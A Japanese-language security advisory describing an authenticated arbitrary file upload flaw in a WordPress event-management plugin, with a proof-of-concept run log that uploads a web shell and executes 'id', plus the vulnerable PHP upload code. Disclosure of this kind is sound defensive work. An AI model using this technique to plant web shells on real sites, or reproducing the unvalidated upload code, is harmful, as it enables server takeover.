
MDJM Event Management <= 1.7.8.3 - 認証済み(管理者+)'mdjm_email_upload_file' パラメータ経由の任意のファイルアップロード
WordPress の MDJM Event Management プラグイン(バージョン 1.7.8.3 以前)には、認証済み管理者が悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。
認証済み攻撃者が shell.php をアップロードしてリモートコードを実行することを示す POC CVE-2026-7537.py を用意しています:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
この脆弱性は、コミュニケーション機能の mdjm_send_comm_email() 関数に存在します。アップロード機能は、メールコミュニケーションのファイル添付を処理する際に適切なファイル検証が行われていません。これにより、mdjm_comms_send 権限を持つ認証済みユーザー(デフォルトでは管理者と MDJM アドミン)が、サーバー上で実行可能な PHP ファイルを含む任意のファイルをアップロードできるようになります。
ソース: $_FILES['mdjm_email_upload_file'] からのユーザー入力
シンク: comms-functions.php#L248 の move_uploaded_file($tmp_path, $file_path)
この脆弱性は次の理由で発生します:
send_comms 権限を持つユーザーがアクセスできます。mdjm_comms_send 権限は、class-mdjm-permissions.php#L626 を介して manage_mdjm 許可を持つユーザーに付与されます。mdjm_comms_send がありません - 管理者のみが持っています。mdjm_process_actions() 関数を介して処理されます。mdjm_send_comm_email() 関数をトリガーします。$_FILES['mdjm_email_upload_file'] からのユーザー制御のファイルデータは、comms-functions.php#L241-L251 で検証なしに直接処理されます。move_uploaded_file() を使用して WordPress のアップロードディレクトリ(/wp-content/uploads/YYYY/MM/)に保存されます。if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}